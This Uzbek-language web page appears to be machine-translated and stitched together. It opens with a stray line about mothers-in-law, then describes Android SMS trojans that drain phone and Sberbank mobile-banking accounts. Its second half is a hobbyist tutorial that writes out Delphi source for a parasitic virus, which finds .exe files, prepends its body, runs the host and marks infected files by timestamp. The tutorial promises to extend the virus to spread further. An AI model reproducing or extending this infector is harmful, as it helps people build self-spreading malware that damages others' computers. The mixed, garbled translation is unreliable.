Virusni qurbonga qanday yuborish kerak. Birovning qo'li bilan buzish

28.03.2023
Noyob kelinlar qaynonasi bilan teng va do'stona munosabatda bo'lishlari bilan maqtanishlari mumkin. Odatda buning aksi sodir bo'ladi

So'nggi yillarda siz virusni nafaqat Internetda muvaffaqiyatsiz kezganingizdan keyin ham yuqtirishingiz mumkin - endi xakerlar va firibgarlar ancha murakkab. Bugun biz sizga zararli havolalar bilan xavfli xabarlarni yuboradigan hujumchilar bilan qanday kurashish kerakligini aytib beramiz. Biz sizga u orqali o'tish qanchalik xavfli ekanligini va telefoningizni yuqtirish xavfidan qanday qochish kerakligini aytib beramiz.

Bu qanday axborot byulleteni?

Shunday qilib, may oyining oxiridan beri yuz minglab foydalanuvchilarning telefonlari firibgarlar tomonidan yashirin hujumga uchradi. Smartfonlarga qisqa, qiziqarli xabarlar keladi - "Hey, rasmga va havolaga qarang!", o'tish uchun sayt manzili biriktirilgan. Ba'zan eslatmalar qo'shiladi "Bu spam emas", yoki "Biz buni aniqlashimiz kerak", qo'shilishi mumkin familiya, yoki qo'ng'iroq qiling "Yordam bering". Haqiqatan ham, agar siz darhol bu haqda o'ylamasangiz, ustiga bosing va faylni yuklab olishingiz mumkin. Siz do'stingizning fotosuratini ochasiz deb umid qilasiz, lekin siz hech narsa olmaysiz. Ayni paytda telefon yuklab olinadi virus ilovasi.

Yuklab olish jurnalidagi fayl kengaytmasiga qarasangiz, u erda jpg yo'qligini, u ishlayotganini ko'rasiz APK dasturi. Virusli yuklovchi, ayniqsa, bu holatda, telefondagi ko'plab sozlamalarni o'zgartirishga olib keladi.

Foydalanuvchilar har doim mobil telefonidagi virusni taniy olmaydilar va shunga ko'ra, ular zararli dasturni o'chira olmaydi yoki virus shaxsiy ma'lumotlarga kirishidan oldin biron bir chora ko'ra olmaydi.

Ayni paytda Android smartfonlari eng zaif deb hisoblanadi. Androidda SMS orqali yangi virus paydo bo'ldi.

Android operatsion tizimi bo'lgan ochiq kodli smartfonlarda yangi viruslar aql bovar qilmaydigan tezlikda tarqaldi.

Endi ular o'zgardi. Ilgari ular faqat mobil telefonlarda pul ishlatishga harakat qilishgan bo'lsa, bugungi kunda ular bank kartalari va Internet-bankda mavjud bo'lgan barcha mablag'larni nishonga olishmoqda. Firibgarlarni birinchi navbatda Mobile Bank xizmatini qo‘llab-quvvatlovchi smartfonlar qiziqtiradi. Bu firibgarning raqamidan foydalanib, jabrlanuvchining hisobidan pul o'g'irlash imkonini beradi. Buning uchun ular virusni Android-ga SMS orqali yuborishadi.

Firibgarlar qanday ishlaydi

Birinchi bunday virus 2017 yilning yoz boshida faollashdi.Xavfli tomoni shundaki, troyan Android smartfonida masofadan turib ishlaydi.

Buzg'unchilar SMS-xabarni kerakli raqamga yuborishadi, shuning uchun mobil gadjetida ushbu virus mavjudligini aniqlash uchun smartfon egalari 100 rubllik SMS-xabarlar sonining ko'payishiga e'tibor berishlari kerak. Natijada, smartfon egasining mobil hisobidan 100 ga bo'linadigan miqdor yechib olinadi.

Katta pul ishlash uchun tajovuzkor qurbonining raqamidan bir nechta SMS troyanlarni yuborishga majbur bo'ladi. Axir bu firibgarlik zanjirida faqat u ishlamaydi.

Troyan jabrlanuvchining gadjetiga joylashadi va jabrlanuvchining raqamidan firibgarlarning "aziz" raqamiga SMS yuboradi. Va bu "qimmat" raqamga yuborilgan ushbu SMS-xabarlar uchun jabrlanuvchidan 100 rubl undiriladi. har bir ruxsatsiz SMS xabar uchun.

Ushbu sxema bo'yicha vositachilar firibgarlarning hiyla-nayranglari haqida bilmagan aloqa operatori, provayder va boshqa hamkorlar bo'lishi mumkin. Barcha xarajatlarni qoplash va pul topish uchun tajovuzkor har bir raqamdan kamida 1000 rublni olib qo'yishi kerak.

Shu bilan birga, smartfon egalari o‘z operatoriga pul o‘g‘irlangani haqida shikoyat qilishlari mumkinligini istisno eta olmaymiz. Va keyin ular firibgarlikning oldini olish uchun javob choralarini ko'radilar. Masalan, ular pulni va shunga o'xshashlarni hisobdan chiqarishdan oldin qo'shimcha tasdiqlarni kiritish talabini kiritishlari mumkin. Bunday vaziyatda hujumchilar firibgarlikning yangi usullarini izlashga majbur bo'lishadi.

Ushbu omillar tufayli yana bir troyan paydo bo'ldi. Troyan-SMS ning ushbu vakili uzoq serverdan olingan buyruqlarni ham bajaradi.

Yangi virus yanada moslashuvchan va uyali aloqa operatorining to'siqlarini, hatto abonent hisobining holatini va tranzaktsiyalar vaqtini hisobga olgan holda har qanday sharoitni mukammal boshqaradi.

Virus qanday ishlaydi

Yangi virus harakatsiz - uning mustaqilligi yo'q. Smartfonga tushganda ham, u hech qanday tarzda ko'rinmaydi. Uning ishlashi uchun telefon egasining masofaviy buyrug'i talab qilinadi.

Buning uchun POST so'rovi ishlatiladi. U veb-server xabarning asosiy qismiga kiritilgan ma'lumotlarni saqlash uchun qabul qiladigan so'rov uchun mo'ljallangan. Ko'pincha, masalan, faylni yuklab olish uchun ishlatiladi.

POST so'rovidan foydalanish sizga masofaviy server bilan ulanishni o'rnatish va tegishli buyruqni olish imkonini beradi, uni olgandan so'ng troyan o'z qurbonlari raqamlaridan firibgarlar soniga qimmat SMS xabarlarni yuborishni boshlaydi.

Yangi troyan qanday ishlaydi? Masalan, dastur avtomatik ravishda mobil bankingni qo'llab-quvvatlaydigan raqamga bir so'zli "BALANCE" SMS xabarlarini yuboradi.

Qisqa raqamdan SMS-xabar yuborish orqali firibgarlar jabrlanuvchining raqami bank hisobiga bog'langan yoki yo'qligini va hisobning holati qanday ekanligini tekshirishlari mumkin.

Hayotdan misollar

Masalan, Sberbankda xabarlar yuboriladigan raqam bor - 900. 900 jo'natuvchidan "BALANCE" (yoki, ehtimol, ruscha "balans") xabari kelganda, telefon egasi Sberbankga ishonadi va ishonch hosil qiladi. bu xabar shu bankdan, xabarni ochadi va balansga nima bo'lganini bilishni istab, unga javob beradi. Shunday qilib, firibgarlar o'zlarining SMS-xabarlariga javob oladilar, bu ularga bank kartasi telefonga biriktirilganligini anglatadi. Bundan tashqari, ularga ushbu kartani Mobil Bank xizmatiga kiritilgan SMS buyruqlar yordamida boshqarish mumkinligi ayon bo'ladi. Va keyin, ular aytganidek, "texnika masalasi".

Yaqinda do'stlarimdan biri Sberbank mobil bankida ro'yxatdan o'tgan 4-74-1 qisqa raqamidan "Xizmat mavjud emas, keyinroq qayta urinib ko'ring" degan xabarni oldi. Aniq sabablarga ko'ra, u mumkin bo'lgan tahdidlar haqida allaqachon bilgan holda javob yubormadi. Ko'rinishidan, bular o'sha firibgarlar bo'lib, ular mobil bank sifatida niqoblangan bo'lib, ular shu tarzda uning reaktsiyasini hisoblab chiqishga va uning smartfoniga mobil bank o'rnatilganligini aniqlashga harakat qilishgan.

Tasniflash

HLLO-Yuqori darajali tilni qayta yozish. Bunday virus o'z tanasi bilan dasturni qayta yozadi. Bular.
dastur yo'q qilinadi va foydalanuvchi dasturni ishga tushirishga harakat qilganda, virus boshlanadi va yanada "yuqtiradi".

HLLC - Oliy darajadagi til hamrohi. Ushbu viruslarning aksariyati foydalanuvchilar DOSga ega bo'lgan va juda dangasa bo'lgan antik davrga (8-10 yil oldin) to'g'ri keladi. Ushbu viruslar faylni qidiradi va uni o'zgartirmasdan, o'z nusxasini yaratadi, lekin .COM kengaytmasi bilan. Agar dangasa foydalanuvchi buyruq satrida faqat fayl nomini yozsa, u holda DOS birinchi navbatda MAQOMOTI faylni qidiradi, virusni ishga tushiradi, u avval o'z ishini bajaradi va keyin EXE faylini ishga tushiradi. Yana bir modifikatsiya mavjud
HLLC - zamonaviyroq (7 yoshda;)): Virus fayl nomini o'zgartiradi, nomini saqlaydi, lekin kengaytmani o'zgartiradi - EXE dan, aytaylik, OBJ yoki MAP ga. Virus asl faylni tanasi bilan almashtiradi. Bular. foydalanuvchi virusni ishga tushiradi, u qayta ishlab chiqarilgandan so'ng, kerakli dasturni ishga tushiradi - hamma xursand.

HLLP-Yuqori darajali til paraziti. Eng ilg'or. Ularning tanasini faylga old tomondan belgilang (virus avval boshlanadi, keyin dasturni tiklaydi va uni ishga tushiradi) yoki orqa tomondan.
- keyin dasturning sarlavhasida virus tanasiga yaqin jmp yozamiz, hali birinchi bo'lib ishga tushadi.

Biz dasturning o'zini o'zgartirmasdan qoldirishimiz mumkin, keyin u quyidagicha ko'rinadi:

MZ nima, o'ylaymanki, siz buni taxmin qildingiz :) Bu sizning sevimli Mark Zbikovskining bosh harflari, u exe fayl imzosida kamtarlik bilan belgilab qo'ygan :) Va men ularni tushunishingiz uchun bu erga kiritdim.
- infektsiya /b virus.exe program.exe nusxasi printsipiga muvofiq sodir bo'ladi va bu erda maxsus fokuslar yo'q. Xozir yo'q. Lekin siz va men ularni janjal qilamiz
- salomat bo'l:). Xo'sh, masalan: original dasturning dastlabki 512 yoki undan ortiq baytini sizga ma'lum bo'lgan har qanday algoritm bilan shifrlashingiz mumkin - XOR/XOR, NOT/NOT, ADD/SUB, keyin u quyidagicha ko'rinadi:

Bunday holda, zararlangan faylning tuzilishi unchalik aniq bo'lmaydi.
Bu yerda bejiz gapirayotganim yo‘q (tasniflashda, ma’noda)
- parazitlik algoritmi tarqalish usulidan qat'iy nazar, zamonaviy viruslarning 90% tomonidan qo'llaniladi. Mayli, davom etaylik:

Tarmoq virusi. Yuqoridagilardan biri bo'lishi mumkin. U taqsimlanmaganligi bilan farq qiladi
Bir kompyuter bilan cheklangan bo'lsa, bu infektsiya qandaydir tarzda Internet yoki mahalliy tarmoq orqali boshqa mashinalarga o'tadi. O'ylaymanki, siz 3-4 do'stingizdan muntazam ravishda sovun qutingizdan olib kelasiz.
- bu tarmoq virusiga misol. Va u boshqa birovning kompyuteriga kirgandan so'ng, u fayllarni o'zboshimchalik bilan yuqtiradi yoki ularni HAMMA yuqtirmaydi.

Makro viruslar, skript viruslari, IRC viruslari. Men ularni bitta guruhga qo'ydim, chunki bular ilovalarga o'rnatilgan tillarda yozilgan viruslar (MSOffice :)), skriptlar (bu yerda sizning sevimli VBS qoidalari) va IRC skriptlari. To'g'risini aytganda, dasturda yetarlicha kuchli (va/yoki oqayotgan) skript komponenti paydo bo'lishi bilanoq, viruslar darhol unga yozila boshlaydi 😉 Aytgancha, makroviruslar juda oddiy va evristika yordamida osongina aniqlanadi.

Kodlash

Biz u erga keldik :) Keling, Delphi-ni ishga tushiring, har xil oynalarni o'ldiring va loyiha oynasidan barcha bema'ni narsalarni o'chiring. Ya'ni, hamma narsani o'chiring :) Biz faqat quyidagilarni o'z ichiga olgan DPR bilan ishlaymiz:

EVIL_VIRUS dasturi;
WINDOWS, SYSUTILS ISHLATILADI;
boshlanishi
oxiri;

O'ylaymanki, siz tasniflashdan virus mantig'ini allaqachon tushungansiz - biz dasturni tiklaymiz va ishga tushiramiz --> uning ishi tugashini kutamiz - -> "ishlatilgan fayl" ni o'chirib tashlaymiz (aytishni unutganman - biz zararlanganlarni davolamaymiz. dasturida asl kodni chap faylga o'tkazamiz va MISOL: Infektsiyalangan fayl NOTEPAD.EXE ni ishga tushiramiz._NOTEPAD.EXE faylini original kod bilan bir xil katalogda yarating va uni ishga tushiring).--> zararlanmagan faylni qidiring va uni yuqtirish. Hammasi shu :) Virusning asosiy dizayni aynan shunday ko'rinadi.

Endi kuchli miyangiz uchun quyidagi o'zgaruvchilar va doimiylarni e'lon qiling:

VaR VirBuf, ProgBuf, MyBuf: char massivi;
SR: TSearchRec;
My, pr: Fayl;
ProgSize, natija: butun son;
PN, st: String;
si: Tstartupinfo;
p:Tprocessinformation;
infektsiyalangan: mantiqiy;
CONST VirLen: longint= 1000000;

Birinchi qatorda biz mos ravishda virus va dasturning tanasini yozadigan dinamik massivlar mavjud; SR o'zgaruvchisiga yoziladi
topilgan faylning infektsiyaga nomzod bo'lgan xususiyatlari (Umid qilamanki, siz FindFirst va FindNext protseduralari bilan tanishsiz, chunki u yomonlashadi;)), My va
Pr - biz boshlagan fayl va asl dastur kodi bo'lgan chap fayl (men bu haqda yuqorida yozganman). natija - FindFirst natijasi, u nolga teng bo'lishi kerak,
ProgSize - dastur kodining hajmi. Qolganlari bundan mustasno, keyingi narsadan aniq
yuqtirilgan - bu topilgan fayl infektsiyalanganligining belgisi va
VirLen - virus kodining uzunligi, siz faqat to'ydan keyin bilib olasiz. Uh, men kompilyatsiyadan keyin aytmoqchi edim. Bular. kompilyatsiya qilish, konstantaning manbadagi qiymatini o'zgartirish va qayta kompilyatsiya qilish.
Batafsil kodlashamiz :) Bu erda siz zararlangan dasturni tiklash va ishga tushirish uchun mas'ul bo'lgan kodni ko'rasiz:

SetLength (virbuf, VirLen);
AssignFile(mening,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",yolg'on);
IF FileSize (mening)> VirLen
boshlanishi
//Dasturni ishga tushiring
AssignFile(mening,"c:\windows\program.exe);
Qayta tiklash (mening);
ProgSize:= FileSize(mening)-VirLen;
BlockRead(mening,virbuf,virlen);
SetLength (progbuf, pRogSize);
BlockRead(mening,progbuf,progSize);
CloseFile(mening);
PN:= "_"+ParamStr(0);
AssignFile(pr,PN);
Qayta yozish(pr);
BlockWrite(pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
Si do bilan
boshlanishi
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
oxiri;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_rejimi,nil,nil,si,p);
Waitforsingleobject(p.hProcess, cheksiz);
//Boshlandi, dastur ishga tushdi. Keling, uni o'chirib tashlaymiz :)
ErAsE(pr);
O'chirish (mening);

Bu erda hamma narsa, printsipial jihatdan, oddiy va tushunarli, nima uchun men butun virusli faylni Windows katalogiga ko'chirganim va 3 dan 5 gacha bo'lgan qatorlar nima qilishini hisobga olmaganda.
Men buni qildim, chunki ishlayotgan fayldan o'qish noqulay va faqat CreateFile va ReadFile WinAPI yordamida mumkin. Men sizga WinAPI yordamida kodlash haqida keyinroq aytib beraman, endi men faqat asoslarni yoritib beraman
- Delphida.

Bu satrlar an'anaviy usuldan foydalangan holda stringni pcharga aylantirishdir, chunki biz hozir har bir bayt kod uchun kurashmoqdamiz. Yana bir nuqta: c:\windows yo'lini juda qattiq o'rnatib, noto'g'ri harakat qildim. GetWindowsDirectory protsedurasidan yaxshiroq foydalaning, aniq bilib oling :) Qolgan hamma narsa izohlarsiz aniq (agar bo'lmasa)
kompyuter fanini o'tkazib yuborishni to'xtating;)), keling, davom etamiz:

natija:= FindFirst("*.exe",faAnyFile,sr);
WHILE Natija= 0 DO
boshlanishi
// Bitlarni tekshiring
Infektsiyalangan:= noto'g'ri;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name))))= "08/03/98 06:00:00" keyin zararlangan:= rost;
// Tekshirildi!
IF (infektsiyalangan = noto'g'ri) va (sr.name<>paramstr(0)) keyin
boshlanishi
AssignFile(mening,sr.Name);
Qayta yozish(mening);
BlockWrite(mening,virbuf,virlen);
BlockWrite(mening,progbuf,sr.Size);
CloseFile(mening);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00"))));
oxiri;
oxiri;

//Agar virus "toza" ishga tushirilsa, ya'ni. infektsiyalangan dasturdan emas, keyin biz chiqamiz
oxiri bo'lmasa to'xtang;

Sizning o'tkir ko'zingiz bu erda nimani ko'radi? To'g'ri, FindFirst protsedurasi berilgan qurbonni qidiradi (joriy katalogdagi har qanday exe fayli), uning xususiyatlarini SR o'zgaruvchisiga o'tkazadi. Keyin uni ifloslanish uchun tekshirishingiz kerak. Bu asl usulda amalga oshiriladi: zararlanganda faylga def belgilanadi. sana va vaqt. Va bunday xususiyatlarga ega har qanday fayl virusli hisoblanadi. Qolgan hamma narsa yana juda oddiy, shuning uchun men muammosiz xulosaga o'taman :)

Xulosa

Shunday qilib, biz birinchi virusimizni kodladik. Hozircha u faqat joriy katalogdagi fayllarni yuqtirishi mumkin (garchi siz uni osongina yangilashingiz mumkinligiga aminman;)) va boshqa kataloglar va Internet haqida hech narsa bilmaydi. Umidsizlikka tushmang, biz unga buni tezda o'rgatamiz. Hozircha ushbu satrlar bilan o'ynang va keyingi maqolani kuting.

Ilova

Men sizga maqolada ishlatiladigan barcha protseduralarning tavsifini berishga jur'at etaman. Bu sizga yordamda ularni izlashga va jiddiy viruslarni kodlashga tayyorgarlik ko'rishga yordam beradi
WinAPI.

AssignFile - WinAPI-da ekvivalenti yo'q - faylga mos keladi
File yoki TextFile tipidagi o'zgaruvchi bilan

Reset - _lopen va CreateFile analoglari - ochiladi
mavjud fayl va joylashuvni o'rnatadi
boshigacha o'qish

ReWrite - _lcreate va CreateFile - yangi fayl yaratadi va
og'iz boshigacha o'qish pozitsiyasi. Agar ovqatlansangiz
Mavjud faylni, uning mazmunini qayta yozing
nolga qaytariladi

BlockRead - _lread va ReadFile - buferga o'qiydi
fayldan ma'lum miqdordagi ma'lumotlar

BlockWrite - _lwrite va WriteFile - mos ravishda yozadi
faylga ma'lumotlar

SeekFile - _llseek va SetFilePointer - pozitsiyani siljitadi
ochiq faylda o'qish/yozish

CloseFile - _lclose va CloseHandle - ochiq faylni yopadi
fayl

O'chirish - Faylni o'chirish - faylni o'chirish

FindFirst - FindFirstFile - faylni mezon bo'yicha qidirish

FindNext - FindNextFile - keyingi faylni qidirish

Eng so'nggi sayt materiallari